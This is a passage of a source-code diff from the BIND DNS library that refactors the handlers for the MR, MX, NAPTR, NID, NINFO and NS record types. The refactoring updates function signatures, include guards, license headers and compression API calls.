 fromstruct_mr(ARGS_FROMSTRUCT) {
 	dns_rdata_mr_t *mr = source;
 	isc_region_t region;
@@ -134,7 +136,7 @@ fromstruct_mr(ARGS_FROMSTRUCT) {
 	return (isc_buffer_copyregion(target, &region));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_mr(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_mr_t *mr = target;
@@ -152,12 +154,12 @@ tostruct_mr(ARGS_TOSTRUCT) {
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 	dns_name_init(&mr->mr, NULL);
-	RETERR(name_duporclone(&name, mctx, &mr->mr));
+	name_duporclone(&name, mctx, &mr->mr);
 	mr->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_mr(ARGS_FREESTRUCT) {
 	dns_rdata_mr_t *mr = source;
 
@@ -171,18 +173,19 @@ freestruct_mr(ARGS_FREESTRUCT) {
 	mr->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_mr(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_mr);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_mr(ARGS_DIGEST) {
 	isc_region_t r;
 	dns_name_t name;
@@ -196,7 +199,7 @@ digest_mr(ARGS_DIGEST) {
 	return (dns_name_digest(&name, digest, arg));
 }
 
-static inline bool
+static bool
 checkowner_mr(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_mr);
 
@@ -208,7 +211,7 @@ checkowner_mr(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_mr(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_mr);
 
@@ -219,7 +222,7 @@ checknames_mr(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_mr(ARGS_COMPARE) {
 	return (compare_mr(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/mr_9.h b/lib/dns/rdata/generic/mr_9.h
index 61cfd8e6d8..e9a876e203 100644
--- a/lib/dns/rdata/generic/mr_9.h
+++ b/lib/dns/rdata/generic/mr_9.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,13 +12,10 @@
  */
 
 /* */
-#ifndef GENERIC_MR_9_H
-#define GENERIC_MR_9_H 1
+#pragma once
 
 typedef struct dns_rdata_mr {
 	dns_rdatacommon_t common;
 	isc_mem_t *mctx;
 	dns_name_t mr;
 } dns_rdata_mr_t;
-
-#endif /* GENERIC_MR_9_H */
diff --git a/lib/dns/rdata/generic/mx_15.c b/lib/dns/rdata/generic/mx_15.c
index 9bddb45ee0..c772ec2f30 100644
--- a/lib/dns/rdata/generic/mx_15.c
+++ b/lib/dns/rdata/generic/mx_15.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -42,7 +44,7 @@ check_mx(isc_token_t *token) {
 	return (true);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromtext_mx(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -94,12 +96,12 @@ fromtext_mx(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_mx(ARGS_TOTEXT) {
 	isc_region_t region;
 	dns_name_t name;
 	dns_name_t prefix;
-	bool sub;
+	unsigned int opts;
 	char buf[sizeof("64000")];
 	unsigned short num;
 
@@ -118,11 +120,12 @@ totext_mx(ARGS_TOTEXT) {
 	RETERR(str_totext(" ", target));
 
 	dns_name_fromregion(&name, &region);
-	sub = name_prefix(&name, tctx->origin, &prefix);
-	return (dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	return (dns_name_totext(&prefix, opts, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_mx(ARGS_FROMWIRE) {
 	dns_name_t name;
 	isc_region_t sregion;
@@ -132,7 +135,7 @@ fromwire_mx(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_GLOBAL14);
+	dctx = dns_decompress_setpermitted(dctx, true);
 
 	dns_name_init(&name, NULL);
 
@@ -142,10 +145,10 @@ fromwire_mx(ARGS_FROMWIRE) {
 	}
 	RETERR(mem_tobuffer(target, sregion.base, 2));
 	isc_buffer_forward(source, 2);
-	return (dns_name_fromwire(&name, source, dctx, options, target));
+	return (dns_name_fromwire(&name, source, dctx, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_mx(ARGS_TOWIRE) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -154,7 +157,7 @@ towire_mx(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_mx);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_GLOBAL14);
+	dns_compress_setpermitted(cctx, true);
 
 	dns_rdata_toregion(rdata, &region);
 	RETERR(mem_tobuffer(target, region.base, 2));
@@ -163,10 +166,10 @@ towire_mx(ARGS_TOWIRE) {
 	dns_name_init(&name, offsets);
 	dns_name_fromregion(&name, &region);
 
-	return (dns_name_towire(&name, cctx, target));
+	return (dns_name_towire(&name, cctx, target, NULL));
 }
 
-static inline int
+static int
 compare_mx(ARGS_COMPARE) {
 	dns_name_t name1;
 	dns_name_t name2;
@@ -200,7 +203,7 @@ compare_mx(ARGS_COMPARE) {
 	return (dns_name_rdatacompare(&name1, &name2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_mx(ARGS_FROMSTRUCT) {
 	dns_rdata_mx_t *mx = source;
 	isc_region_t region;
@@ -218,7 +221,7 @@ fromstruct_mx(ARGS_FROMSTRUCT) {
 	return (isc_buffer_copyregion(target, &region));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_mx(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_mx_t *mx = target;
@@ -238,12 +241,12 @@ tostruct_mx(ARGS_TOSTRUCT) {
 	isc_region_consume(&region, 2);
 	dns_name_fromregion(&name, &region);
 	dns_name_init(&mx->mx, NULL);
-	RETERR(name_duporclone(&name, mctx, &mx->mx));
+	name_duporclone(&name, mctx, &mx->mx);
 	mx->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_mx(ARGS_FREESTRUCT) {
 	dns_rdata_mx_t *mx = source;
 
@@ -263,7 +266,7 @@ static unsigned char port25_ndata[] = "\003_25\004_tcp";
 static dns_name_t port25 = DNS_NAME_INITNONABSOLUTE(port25_ndata,
 						    port25_offset);
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_mx(ARGS_ADDLDATA) {
 	isc_result_t result;
 	dns_fixedname_t fixed;
@@ -273,6 +276,8 @@ additionaldata_mx(ARGS_ADDLDATA) {
 
 	REQUIRE(rdata->type == dns_rdatatype_mx);
 
+	UNUSED(owner);
+
 	dns_name_init(&name, offsets);
 	dns_rdata_toregion(rdata, &region);
 	isc_region_consume(&region, 2);
@@ -282,7 +287,7 @@ additionaldata_mx(ARGS_ADDLDATA) {
 		return (ISC_R_SUCCESS);
 	}
 
-	result = (add)(arg, &name, dns_rdatatype_a);
+	result = (add)(arg, &name, dns_rdatatype_a, NULL DNS__DB_FILELINE);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
@@ -294,10 +299,11 @@ additionaldata_mx(ARGS_ADDLDATA) {
 		return (ISC_R_SUCCESS);
 	}
 
-	return ((add)(arg, dns_fixedname_name(&fixed), dns_rdatatype_tlsa));
+	return ((add)(arg, dns_fixedname_name(&fixed), dns_rdatatype_tlsa,
+		      NULL DNS__DB_FILELINE));
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_mx(ARGS_DIGEST) {
 	isc_region_t r1, r2;
 	dns_name_t name;
@@ -314,7 +320,7 @@ digest_mx(ARGS_DIGEST) {
 	return (dns_name_digest(&name, digest, arg));
 }
 
-static inline bool
+static bool
 checkowner_mx(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_mx);
 
@@ -324,7 +330,7 @@ checkowner_mx(ARGS_CHECKOWNER) {
 	return (dns_name_ishostname(name, wildcard));
 }
 
-static inline bool
+static bool
 checknames_mx(ARGS_CHECKNAMES) {
 	isc_region_t region;
 	dns_name_t name;
@@ -346,7 +352,7 @@ checknames_mx(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_mx(ARGS_COMPARE) {
 	return (compare_mx(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/mx_15.h b/lib/dns/rdata/generic/mx_15.h
index 9c71f9f60b..f651591220 100644
--- a/lib/dns/rdata/generic/mx_15.h
+++ b/lib/dns/rdata/generic/mx_15.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,8 +12,7 @@
  */
 
 /* */
-#ifndef GENERIC_MX_15_H
-#define GENERIC_MX_15_H 1
+#pragma once
 
 typedef struct dns_rdata_mx {
 	dns_rdatacommon_t common;
@@ -19,5 +20,3 @@ typedef struct dns_rdata_mx {
 	uint16_t pref;
 	dns_name_t mx;
 } dns_rdata_mx_t;
-
-#endif /* GENERIC_MX_15_H */
diff --git a/lib/dns/rdata/generic/naptr_35.c b/lib/dns/rdata/generic/naptr_35.c
index 04bb8e05a8..f12713a883 100644
--- a/lib/dns/rdata/generic/naptr_35.c
+++ b/lib/dns/rdata/generic/naptr_35.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -22,7 +24,7 @@
  * Check the wire format of the Regexp field.
  * Don't allow embedded NUL's.
  */
-static inline isc_result_t
+static isc_result_t
 txt_valid_regex(const unsigned char *txt) {
 	unsigned int nsub = 0;
 	char regex[256];
@@ -167,7 +169,7 @@ txt_valid_regex(const unsigned char *txt) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromtext_naptr(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -237,12 +239,12 @@ fromtext_naptr(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_naptr(ARGS_TOTEXT) {
 	isc_region_t region;
 	dns_name_t name;
 	dns_name_t prefix;
-	bool sub;
+	unsigned int opts;
 	char buf[sizeof("64000")];
 	unsigned short num;
 
@@ -294,11 +296,12 @@ totext_naptr(ARGS_TOTEXT) {
 	 * Replacement.
 	 */
 	dns_name_fromregion(&name, &region);
-	sub = name_prefix(&name, tctx->origin, &prefix);
-	return (dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	return (dns_name_totext(&prefix, opts, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_naptr(ARGS_FROMWIRE) {
 	dns_name_t name;
 	isc_region_t sr;
@@ -309,7 +312,7 @@ fromwire_naptr(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_NONE);
+	dctx = dns_decompress_setpermitted(dctx, false);
 
 	dns_name_init(&name, NULL);
 
@@ -343,10 +346,10 @@ fromwire_naptr(ARGS_FROMWIRE) {
 	/*
 	 * Replacement.
 	 */
-	return (dns_name_fromwire(&name, source, dctx, options, target));
+	return (dns_name_fromwire(&name, source, dctx, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_naptr(ARGS_TOWIRE) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -355,7 +358,7 @@ towire_naptr(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_naptr);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_NONE);
+	dns_compress_setpermitted(cctx, false);
 	/*
 	 * Order, preference.
 	 */
@@ -386,10 +389,10 @@ towire_naptr(ARGS_TOWIRE) {
 	 */
 	dns_name_init(&name, offsets);
 	dns_name_fromregion(&name, &sr);
-	return (dns_name_towire(&name, cctx, target));
+	return (dns_name_towire(&name, cctx, target, NULL));
 }
 
-static inline int
+static int
 compare_naptr(ARGS_COMPARE) {
 	dns_name_t name1;
 	dns_name_t name2;
@@ -461,7 +464,7 @@ compare_naptr(ARGS_COMPARE) {
 	return (dns_name_rdatacompare(&name1, &name2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_naptr(ARGS_FROMSTRUCT) {
 	dns_rdata_naptr_t *naptr = source;
 	isc_region_t region;
@@ -489,11 +492,10 @@ fromstruct_naptr(ARGS_FROMSTRUCT) {
 	return (isc_buffer_copyregion(target, &region));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_naptr(ARGS_TOSTRUCT) {
 	dns_rdata_naptr_t *naptr = target;
 	isc_region_t r;
-	isc_result_t result;
 	dns_name_t name;
 
 	REQUIRE(rdata->type == dns_rdatatype_naptr);
@@ -520,53 +522,29 @@ tostruct_naptr(ARGS_TOSTRUCT) {
 	isc_region_consume(&r, 1);
 	INSIST(naptr->flags_len <= r.length);
 	naptr->flags = mem_maybedup(mctx, r.base, naptr->flags_len);
-	if (naptr->flags == NULL) {
-		goto cleanup;
-	}
 	isc_region_consume(&r, naptr->flags_len);
 
 	naptr->service_len = uint8_fromregion(&r);
 	isc_region_consume(&r, 1);
 	INSIST(naptr->service_len <= r.length);
 	naptr->service = mem_maybedup(mctx, r.base, naptr->service_len);
-	if (naptr->service == NULL) {
-		goto cleanup;
-	}
 	isc_region_consume(&r, naptr->service_len);
 
 	naptr->regexp_len = uint8_fromregion(&r);
 	isc_region_consume(&r, 1);
 	INSIST(naptr->regexp_len <= r.length);
 	naptr->regexp = mem_maybedup(mctx, r.base, naptr->regexp_len);
-	if (naptr->regexp == NULL) {
-		goto cleanup;
-	}
 	isc_region_consume(&r, naptr->regexp_len);
 
 	dns_name_init(&name, NULL);
 	dns_name_fromregion(&name, &r);
 	dns_name_init(&naptr->replacement, NULL);
-	result = name_duporclone(&name, mctx, &naptr->replacement);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	name_duporclone(&name, mctx, &naptr->replacement);
 	naptr->mctx = mctx;
 	return (ISC_R_SUCCESS);
-
-cleanup:
-	if (mctx != NULL && naptr->flags != NULL) {
-		isc_mem_free(mctx, naptr->flags);
-	}
-	if (mctx != NULL && naptr->service != NULL) {
-		isc_mem_free(mctx, naptr->service);
-	}
-	if (mctx != NULL && naptr->regexp != NULL) {
-		isc_mem_free(mctx, naptr->regexp);
-	}
-	return (ISC_R_NOMEMORY);
 }
 
-static inline void
+static void
 freestruct_naptr(ARGS_FREESTRUCT) {
 	dns_rdata_naptr_t *naptr = source;
 
@@ -590,7 +568,7 @@ freestruct_naptr(ARGS_FREESTRUCT) {
 	naptr->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_naptr(ARGS_ADDLDATA) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -601,6 +579,8 @@ additionaldata_naptr(ARGS_ADDLDATA) {
 
 	REQUIRE(rdata->type == dns_rdatatype_naptr);
 
+	UNUSED(owner);
+
 	/*
 	 * Order, preference.
 	 */
@@ -642,13 +622,13 @@ additionaldata_naptr(ARGS_ADDLDATA) {
 	dns_name_fromregion(&name, &sr);
 
 	if (atype != 0) {
-		return ((add)(arg, &name, atype));
+		return ((add)(arg, &name, atype, NULL DNS__DB_FILELINE));
 	}
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_naptr(ARGS_DIGEST) {
 	isc_region_t r1, r2;
 	unsigned int length, n;
@@ -707,7 +687,7 @@ digest_naptr(ARGS_DIGEST) {
 	return (dns_name_digest(&name, digest, arg));
 }
 
-static inline bool
+static bool
 checkowner_naptr(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_naptr);
 
@@ -719,7 +699,7 @@ checkowner_naptr(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_naptr(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_naptr);
 
@@ -730,7 +710,7 @@ checknames_naptr(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_naptr(ARGS_COMPARE) {
 	return (compare_naptr(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/naptr_35.h b/lib/dns/rdata/generic/naptr_35.h
index 708d07b938..f414dddb6b 100644
--- a/lib/dns/rdata/generic/naptr_35.h
+++ b/lib/dns/rdata/generic/naptr_35.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_NAPTR_35_H
-#define GENERIC_NAPTR_35_H 1
+#pragma once
 
 /*!
  *  \brief Per RFC2915 */
@@ -28,5 +29,3 @@ typedef struct dns_rdata_naptr {
 	uint8_t regexp_len;
 	dns_name_t replacement;
 } dns_rdata_naptr_t;
-
-#endif /* GENERIC_NAPTR_35_H */
diff --git a/lib/dns/rdata/generic/nid_104.c b/lib/dns/rdata/generic/nid_104.c
index d05a42ca30..2ae714aa5d 100644
--- a/lib/dns/rdata/generic/nid_104.c
+++ b/lib/dns/rdata/generic/nid_104.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,7 +20,7 @@
 
 #define RRTYPE_NID_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_nid(ARGS_FROMTEXT) {
 	isc_token_t token;
 	unsigned char locator[NS_LOCATORSZ];
@@ -47,7 +49,7 @@ fromtext_nid(ARGS_FROMTEXT) {
 	return (mem_tobuffer(target, locator, NS_LOCATORSZ));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_nid(ARGS_TOTEXT) {
 	isc_region_t region;
 	char buf[sizeof("xxxx:xxxx:xxxx:xxxx")];
@@ -74,14 +76,13 @@ totext_nid(ARGS_TOTEXT) {
 	return (str_totext(buf, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_nid(ARGS_FROMWIRE) {
 	isc_region_t sregion;
 
 	REQUIRE(type == dns_rdatatype_nid);
 
 	UNUSED(type);
-	UNUSED(options);
 	UNUSED(rdclass);
 	UNUSED(dctx);
 
@@ -93,7 +94,7 @@ fromwire_nid(ARGS_FROMWIRE) {
 	return (mem_tobuffer(target, sregion.base, sregion.length));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_nid(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_nid);
 	REQUIRE(rdata->length == 10);
@@ -103,7 +104,7 @@ towire_nid(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, rdata->data, rdata->length));
 }
 
-static inline int
+static int
 compare_nid(ARGS_COMPARE) {
 	isc_region_t region1;
 	isc_region_t region2;
@@ -119,7 +120,7 @@ compare_nid(ARGS_COMPARE) {
 	return (isc_region_compare(&region1, &region2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_nid(ARGS_FROMSTRUCT) {
 	dns_rdata_nid_t *nid = source;
 
@@ -135,7 +136,7 @@ fromstruct_nid(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, nid->nid, sizeof(nid->nid)));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_nid(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_nid_t *nid = target;
@@ -156,7 +157,7 @@ tostruct_nid(ARGS_TOSTRUCT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_nid(ARGS_FREESTRUCT) {
 	dns_rdata_nid_t *nid = source;
 
@@ -166,19 +167,20 @@ freestruct_nid(ARGS_FREESTRUCT) {
 	return;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_nid(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_nid);
 	REQUIRE(rdata->length == 10);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_nid(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -190,7 +192,7 @@ digest_nid(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_nid(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_nid);
 
@@ -202,7 +204,7 @@ checkowner_nid(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_nid(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_nid);
 	REQUIRE(rdata->length == 10);
@@ -214,7 +216,7 @@ checknames_nid(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_nid(ARGS_COMPARE) {
 	return (compare_nid(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/nid_104.h b/lib/dns/rdata/generic/nid_104.h
index 603623c4f9..194cefaa29 100644
--- a/lib/dns/rdata/generic/nid_104.h
+++ b/lib/dns/rdata/generic/nid_104.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,13 +12,10 @@
  */
 
 /* */
-#ifndef GENERIC_NID_104_H
-#define GENERIC_NID_104_H 1
+#pragma once
 
 typedef struct dns_rdata_nid {
 	dns_rdatacommon_t common;
 	uint16_t pref;
 	unsigned char nid[8];
 } dns_rdata_nid_t;
-
-#endif /* GENERIC_NID_104_H */
diff --git a/lib/dns/rdata/generic/ninfo_56.c b/lib/dns/rdata/generic/ninfo_56.c
index 0e74d522f0..8e0fae1400 100644
--- a/lib/dns/rdata/generic/ninfo_56.c
+++ b/lib/dns/rdata/generic/ninfo_56.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,14 +16,14 @@
 
 #define RRTYPE_NINFO_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_ninfo(ARGS_FROMTEXT) {
 	REQUIRE(type == dns_rdatatype_ninfo);
 
 	return (generic_fromtext_txt(CALL_FROMTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_ninfo(ARGS_TOTEXT) {
 	REQUIRE(rdata != NULL);
 	REQUIRE(rdata->type == dns_rdatatype_ninfo);
@@ -29,14 +31,14 @@ totext_ninfo(ARGS_TOTEXT) {
 	return (generic_totext_txt(CALL_TOTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_ninfo(ARGS_FROMWIRE) {
 	REQUIRE(type == dns_rdatatype_ninfo);
 
 	return (generic_fromwire_txt(CALL_FROMWIRE));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_ninfo(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_ninfo);
 
@@ -45,7 +47,7 @@ towire_ninfo(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, rdata->data, rdata->length));
 }
 
-static inline int
+static int
 compare_ninfo(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -59,14 +61,14 @@ compare_ninfo(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_ninfo(ARGS_FROMSTRUCT) {
 	REQUIRE(type == dns_rdatatype_ninfo);
 
 	return (generic_fromstruct_txt(CALL_FROMSTRUCT));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_ninfo(ARGS_TOSTRUCT) {
 	dns_rdata_ninfo_t *ninfo = target;
 
@@ -80,7 +82,7 @@ tostruct_ninfo(ARGS_TOSTRUCT) {
 	return (generic_tostruct_txt(CALL_TOSTRUCT));
 }
 
-static inline void
+static void
 freestruct_ninfo(ARGS_FREESTRUCT) {
 	dns_rdata_ninfo_t *ninfo = source;
 
@@ -90,18 +92,19 @@ freestruct_ninfo(ARGS_FREESTRUCT) {
 	generic_freestruct_txt(source);
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_ninfo(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_ninfo);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_ninfo(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -112,7 +115,7 @@ digest_ninfo(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_ninfo(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_ninfo);
 
@@ -124,7 +127,7 @@ checkowner_ninfo(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_ninfo(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_ninfo);
 
@@ -135,7 +138,7 @@ checknames_ninfo(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_ninfo(ARGS_COMPARE) {
 	return (compare_ninfo(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/ninfo_56.h b/lib/dns/rdata/generic/ninfo_56.h
index 26ca2e2fb5..66cf9482b5 100644
--- a/lib/dns/rdata/generic/ninfo_56.h
+++ b/lib/dns/rdata/generic/ninfo_56.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,8 +12,7 @@
  */
 
 /* */
-#ifndef GENERIC_NINFO_56_H
-#define GENERIC_NINFO_56_H 1
+#pragma once
 
 typedef struct dns_rdata_txt_string dns_rdata_ninfo_string_t;
 
@@ -30,5 +31,3 @@ dns_rdata_ninfo_next(dns_rdata_ninfo_t *);
 
 isc_result_t
 dns_rdata_ninfo_current(dns_rdata_ninfo_t *, dns_rdata_ninfo_string_t *);
-
-#endif /* GENERIC_NINFO_16_H */
diff --git a/lib/dns/rdata/generic/ns_2.c b/lib/dns/rdata/generic/ns_2.c
index 45a760c616..e16f2df4ec 100644
--- a/lib/dns/rdata/generic/ns_2.c
+++ b/lib/dns/rdata/generic/ns_2.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,7 +16,7 @@
 
 #define RRTYPE_NS_ATTRIBUTES (DNS_RDATATYPEATTR_ZONECUTAUTH)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_ns(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -49,12 +51,12 @@ fromtext_ns(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_ns(ARGS_TOTEXT) {
 	isc_region_t region;
 	dns_name_t name;
 	dns_name_t prefix;
-	bool sub;
+	unsigned int opts;
